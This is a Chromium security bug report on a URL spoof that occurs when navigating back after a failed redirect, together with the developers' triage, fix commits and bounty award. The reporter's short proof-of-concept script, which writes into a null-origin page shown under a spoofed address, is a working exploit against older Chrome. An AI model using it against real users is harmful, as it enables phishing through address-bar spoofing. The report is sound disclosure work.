New issue
Advanced search Search tips

Issue 777419 link

Starred by 4 users

Issue metadata

Status: Fixed
Owner:
Closed: Oct 2017
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Chrome , Mac
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: URL spoof when navigating back if the first real load ends up hitting an error

Reported by ma7h1a...@gmail.com, Oct 23 2017

Issue description

AFFECTED PRODUCTS
--------------------
chrome 62.0.3202.62 stable


DESCRIPTION
--------------------
This bug could be reproduced when meet a bad 302 direction
for example, redirect to data-url
then we could write code into null origin page
my exp use this bug to make a perfect spoofing
so let me show you the code first

<script>
s=window.open("http://xsser.math1as.com/bad302.php", "sss");
function pwn()
{
	s=window.open("https://www.math1as.com/history.html", "sss");
}
setTimeout("pwn()",1000);
setTimeout("s.document.write('write to null origin')",2000);
</script>

steps
1.open bad302.php then get an error(error.jpg)
2.history.html->history.go(-1);
3.get a page with null origin,address bar=http://xsser.math1as.com/bad302.php
4.if you try to write code into a null-origin page,you should be blocked by sop(block_sop.jpg)
5.but in this exp,we bypass SOP and finally write code into the target.

the attack result:(result.jpg)
 
error.jpg
20.8 KB View Download
block_sop.jpg
10.2 KB View Download
exp.html
256 bytes View Download
result.jpg
10.5 KB View Download
This reproduces for me in Chrome 62, but not in Chrome 64; it throws an exception:

VM30:1 Uncaught DOMException: Blocked a frame with origin "null" from accessing a cross-origin frame.
    at <anonymous>:1:3
(anonymous) @ VM30:1
setTimeout (async)
(anonymous) @ exp (1).html:8

This might be related to PlzNavigate rather than Chrome version though.

Comment 2 by tsepez@chromium.org, Oct 23 2017

Labels: Security_Severity-High Security_Impact-Stable M-63 Pri-1
Owner: nasko@chromium.org
Status: Assigned (was: Unconfirmed)
Over to plz navigate folks.

Comment 3 Deleted

Sorry, I probably should've just tried it. When I change chrome://flags/#browser-side-navigation to DISABLED in Chrome 64, I still see the exception listed in #1, so it's likely not PlzNavigate. 

However, when I change chrome://flags/#enable-site-per-process from ENABLED to DISABLED, Chrome 64 allows access and enables the write into the error page.

Comment 5 by kenrb@chromium.org, Oct 23 2017

Cc: dcheng@chromium.org
Components: Blink>SecurityFeature>SameOriginPolicy
I see the same: on trunk it repros when run without flags, and throws an exception with --site-per-process. So the bug is still active but if you are on the Site Isolation finch experiment then you won't see it.

Is this really high severity? How bad is a write to null origin?

Comment 6 by ma7h1a...@gmail.com, Oct 23 2017

Re #5
as what i show in my exp.html , it at least could cause a perfect spoof
the spoof page could be interacted , so that it's much more dangerous than issue 776402 (which marked as medium secerity)

Comment 7 by ma7h1a...@gmail.com, Oct 23 2017

just a write to null origin maybe not so dangerous
but this bug combined two parts: SOP bypass + addressbar spoof
and by all means, bypass the SOP would bring some other potencial problems.
so that i think it's of high severity

Comment 8 by dcheng@chromium.org, Oct 23 2017

Cc: nasko@chromium.org
Components: -Blink>SecurityFeature>SameOriginPolicy UI>Browser>History
Owner: creis@chromium.org
Summary: Security: URL spoof when navigating back if the first real load ends up hitting an error (was: Security: Chrome same origin bypass (write code into null-origin))
So this is definitely a URL spoof. However, it's because we're getting confused about what URL to show in the URL bar.

Roughly what's happening is this:
1. We open a new window, it's about:blank. It inherits it's opener's origin. Call this history entry #1a.
2. We attempt to load a page. Normally, this navigation should replace history entry #1a with history entry #1b. I'm not sure what happens on the browser side since this is an error page.
3. We then navigate it to history.html, which creates history entry #2.
4. history.html triggers a back navigation, which... navigates to about:blank (history entry #1a) instead of history entry #1b (probably because it was an error page, and we probably do something special with error pages).

Because we navigated back to about:blank, it inherits the origin--but the URL shows the URL of the failed navigation, this becomes a URL spoof.

Comment 9 by ma7h1a...@gmail.com, Oct 23 2017

Re #8
oh , I know what lead to this problem
a moment ago i search the previous bugs
the bad fix in  issue 723796  may be the best answer for it.
based on the comment 24 in  issue 723796 
the bad fix looks like 
when meet 302 error

OnResponseStarted(net_error) // url() => old_url

but this certainly caused a spoof vuln
since the old_url is loaded in addressbar , but the origin is null
the patch i think for it 

OnResponseStarted(net_error) // url() => 'about:blank'


a simple patch
content/browser/frame_host/navigation_controller_impl.cc

if (!rfh->GetParent() &&
      IsBlockedNavigation(navigation_handle->GetNetErrorCode())) {
    DCHECK(params.url_is_unreachable);
    active_entry->SetURL(GURL(url::kAboutBlankURL));
    active_entry->SetVirtualURL(url::kAboutBlankURL);
    if (frame_entry) {
    frame_entry->SetPageState(
          PageState::CreateFromURL(active_entry->GetURL()));
    }
}

Comment 12 by kenrb@chromium.org, Oct 23 2017

Labels: -Security_Severity-High Security_Severity-Medium
If this is a URL spoof but requires the spoof target to generate an error page, it should be Sev-Medium.

Open redirects would be straightforward targets.

Comment 13 by creis@chromium.org, Oct 23 2017

Components: -UI>Browser>History UI>Browser>Navigation
Labels: OS-Android OS-Chrome OS-Linux OS-Mac OS-Windows
Thanks for the report!  I'll take a closer look.

For reference, I've attached slightly modified repro files to make it easier to test with (assuming you have testserver.py from the Chrome repo running).'

Also changing components from History (which is more about chrome://history) to Navigation (which includes session history).
spoof.html
323 bytes View Download
back.html
35 bytes View Download

Comment 14 by creis@chromium.org, Oct 23 2017

Cc: davidben@chromium.org lukasza@chromium.org alex...@chromium.org
Status: Started (was: Assigned)
Ok, here's what I've found so far.

The bug was indeed introduced in nasko@'s r474535, which was meant to fix a data URL blocking bypass reported in  issue 723796 .  Interestingly, the repro steps for this spoof are almost identical to the blocking bypass in that bug, except that the redirect occurs on a cross-origin URL.

That CL assigned the NavigationEntry's URL to be about:blank (to try to prevent the data URL from loading in the future) and puts the blocked URL in the virtual URL.  As we've seen in other cases, though, virtual URLs tend to be problematic, and in this case it caused the spoof.  In fact, this particular CL has already come up as the likely cause of  issue 771848  (URL confusion) and  issue 772771  (broken blocking message).

The good news is that davidben@ landed r477371 shortly after nasko@'s CL, providing a more comprehensive fix in the network stack.  I've just confirmed locally that davidben@'s r477371 is sufficient as a fix for  issue 723796 .  That means we can revert nasko@'s r474535 to eliminate the spoof.  (Nasko confirmed that this theory sounds right as well.)

I'll put together a CL for that, and I'll try to include a test for the spoof itself.

Comment 15 by creis@chromium.org, Oct 25 2017

I have a CL started at https://chromium-review.googlesource.com/c/chromium/src/+/733959.  There were a few unexpected test failures, but I'm working through them today.

Comment 16 by creis@chromium.org, Oct 26 2017

Cc: mea...@chromium.org
The test failures on the CL have been resolved.  Nasko spotted a potential issue before I landed it yesterday, though, and we've been discussing it.  We think it's probably safe to proceed, as described below.

Nasko pointed out that we might attempt to navigate to the blocked URL if we come back to that NavigationEntry later (reload, back/forward, restore, etc).  That was the original concern in  issue 723796 , when his CL landed, but davidben's CL makes sure it doesn't happen in that particular case (redirect to data URL).  It would be a problem if other cases loaded successfully after a reload, though.

We think this is not a problem for the moment, for the following reasons:

1) Any URL that is blocked regardless of context will be blocked after reload as well.
1a) This covers redirects to data URLs thanks to davidben's CL.
1b) This covers extensions that block URLs regardless of context.
1c) This covers browser-initiated navigations to non-installed extension URLs.

2) Some URLs might be blocked based on context, and could pose a concern.
2a) data URLs are blocked for renderer-initiated navigations but not browser-initiated ones.  However, they're blocked in the renderer process (in FrameLoader::PrepareRequestForThisFrame, as of r466504) before we get to this type of blocking logic, so there's no risk of reloading them later.  Also, DataUrlNavigationThrottle::WillProcessResponse() uses CANCEL rather than BLOCK_RESPONSE, so it doesn't matter even if the renderer side check is skipped.
2b) It's possible that extensions could try to block URLs based on context, and a page might use this as a way around the block.  However, such a bypass is almost certainly possible already, especially since we don't seem to expose whether navigations are browser-initiated or history to the web request API.

3) We can rule out subframe cases, since those aren't covered by the check anyway.  We'll handle those in a separate defense.

So, I think we're safe to proceed for now.  I'll file a bug to make sure we get another defense in place to prevent blocked navigations from being reloaded at all.

Comment 17 by creis@chromium.org, Oct 26 2017

Filed issue 778772 for followup on comment 16.
Project Member

Comment 18 by bugdroid1@chromium.org, Oct 26 2017

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/56a84aa67bb071a33a48ac1481b555c48e0a9a59

commit 56a84aa67bb071a33a48ac1481b555c48e0a9a59
Author: Charles Reis <creis@chromium.org>
Date: Thu Oct 26 20:10:42 2017

Do not use NavigationEntry to block history navigations.

This is no longer necessary after r477371.

BUG= 777419 
TEST=See bug for repro steps.

Cq-Include-Trybots: master.tryserver.chromium.linux:linux_site_isolation
Change-Id: I701e4d4853858281b43e3743b12274dbeadfbf18
Reviewed-on: https://chromium-review.googlesource.com/733959
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Reviewed-by: Nasko Oskov <nasko@chromium.org>
Commit-Queue: Charlie Reis <creis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#511942}
[modify] https://crrev.com/56a84aa67bb071a33a48ac1481b555c48e0a9a59/chrome/browser/extensions/navigation_observer.cc
[modify] https://crrev.com/56a84aa67bb071a33a48ac1481b555c48e0a9a59/chrome/test/data/extensions/api_test/webrequest/test_blocking.js
[modify] https://crrev.com/56a84aa67bb071a33a48ac1481b555c48e0a9a59/chrome/test/data/extensions/api_test/webrequest/test_declarative1.js
[modify] https://crrev.com/56a84aa67bb071a33a48ac1481b555c48e0a9a59/content/browser/browser_side_navigation_browsertest.cc
[modify] https://crrev.com/56a84aa67bb071a33a48ac1481b555c48e0a9a59/content/browser/frame_host/data_url_navigation_browsertest.cc
[modify] https://crrev.com/56a84aa67bb071a33a48ac1481b555c48e0a9a59/content/browser/frame_host/navigation_controller_impl.cc
[modify] https://crrev.com/56a84aa67bb071a33a48ac1481b555c48e0a9a59/content/browser/frame_host/navigation_controller_impl_browsertest.cc
[modify] https://crrev.com/56a84aa67bb071a33a48ac1481b555c48e0a9a59/content/browser/frame_host/navigation_handle_impl_browsertest.cc

Comment 19 by creis@chromium.org, Oct 26 2017

Status: Fixed (was: Started)
Should be fixed by r511942, which we can verify in tomorrow's canary (likely 	64.0.3251.0).  Once it's baked on canary a bit, we can discuss a merge to M63.
Project Member

Comment 20 by sheriffbot@chromium.org, Oct 27 2017

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 21 by creis@chromium.org, Oct 27 2017

I just verified the fix in 64.0.3251.0.  I'll request a merge on Monday if it still looks good after the weekend.

Comment 22 by creis@chromium.org, Oct 30 2017

Cc: awhalley@chromium.org gov...@chromium.org
Labels: Merge-Request-63
Requesting to merge r511942 to M63.  It fixes a URL spoof, as well as  issue 771848  and  issue 772771 .  The change has baked over the weekend and should be safe to merge.  (It's basically a revert of an earlier CL, since there's a better fix in place for the original issue now.)
Project Member

Comment 23 by sheriffbot@chromium.org, Oct 30 2017

Labels: -Merge-Request-63 Merge-Review-63 Hotlist-Merge-Review
This bug requires manual review: M63 has already been promoted to the beta branch, so this requires manual review
Please contact the milestone owner if you have questions.
Owners: cmasso@(Android), cmasso@(iOS), gkihumba@(ChromeOS), govind@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
+awhalley@ for M63 merge review.
Labels: reward-topanel
Just to follow up on comment 22, r511942 has been baking on Canary since 64.0.3251.0 (last Friday, 10/27) and I don't see any new crashes from it.  Can I merge it to M63?
govind@ - good for M53
s/53/63/

(goes to find coffee..)
Labels: -Merge-Review-63 Merge-Approved-63
Approving merge to M63 branch 3239 based on comment #26 and #27. 
Project Member

Comment 30 by bugdroid1@chromium.org, Nov 2 2017

Labels: -merge-approved-63 merge-merged-3239
The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/c4bf532a22d83c12e4db10f204fe454e643842d7

commit c4bf532a22d83c12e4db10f204fe454e643842d7
Author: Charles Reis <creis@chromium.org>
Date: Thu Nov 02 21:14:20 2017

Do not use NavigationEntry to block history navigations.

This is no longer necessary after r477371.

BUG= 777419 
TEST=See bug for repro steps.
TBR=creis@chromium.org

(cherry picked from commit 56a84aa67bb071a33a48ac1481b555c48e0a9a59)

Cq-Include-Trybots: master.tryserver.chromium.linux:linux_site_isolation
Change-Id: I701e4d4853858281b43e3743b12274dbeadfbf18
Reviewed-on: https://chromium-review.googlesource.com/733959
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Reviewed-by: Nasko Oskov <nasko@chromium.org>
Commit-Queue: Charlie Reis <creis@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#511942}
Reviewed-on: https://chromium-review.googlesource.com/751765
Reviewed-by: Charlie Reis <creis@chromium.org>
Cr-Commit-Position: refs/branch-heads/3239@{#355}
Cr-Branched-From: adb61db19020ed8ecee5e91b1a0ea4c924ae2988-refs/heads/master@{#508578}
[modify] https://crrev.com/c4bf532a22d83c12e4db10f204fe454e643842d7/chrome/browser/extensions/navigation_observer.cc
[modify] https://crrev.com/c4bf532a22d83c12e4db10f204fe454e643842d7/chrome/test/data/extensions/api_test/webrequest/test_blocking.js
[modify] https://crrev.com/c4bf532a22d83c12e4db10f204fe454e643842d7/chrome/test/data/extensions/api_test/webrequest/test_declarative1.js
[modify] https://crrev.com/c4bf532a22d83c12e4db10f204fe454e643842d7/content/browser/browser_side_navigation_browsertest.cc
[modify] https://crrev.com/c4bf532a22d83c12e4db10f204fe454e643842d7/content/browser/frame_host/data_url_navigation_browsertest.cc
[modify] https://crrev.com/c4bf532a22d83c12e4db10f204fe454e643842d7/content/browser/frame_host/navigation_controller_impl.cc
[modify] https://crrev.com/c4bf532a22d83c12e4db10f204fe454e643842d7/content/browser/frame_host/navigation_controller_impl_browsertest.cc
[modify] https://crrev.com/c4bf532a22d83c12e4db10f204fe454e643842d7/content/browser/frame_host/navigation_handle_impl_browsertest.cc

Labels: -reward-topanel reward-unpaid reward-500
*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.
*********************************
The VRP Panel has decided to award $500 for this report.  Cheers!
Labels: -reward-unpaid reward-inprocess
Labels: Release-0-M63
Labels: CVE-2017-15420
Project Member

Comment 36 by sheriffbot@chromium.org, Feb 2 2018

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 37 by sheriffbot@chromium.org, Mar 27 2018

Labels: -M-63 M-65
Labels: CVE_description-missing
Labels: -CVE_description-missing CVE_description-submitted

Sign in to add a comment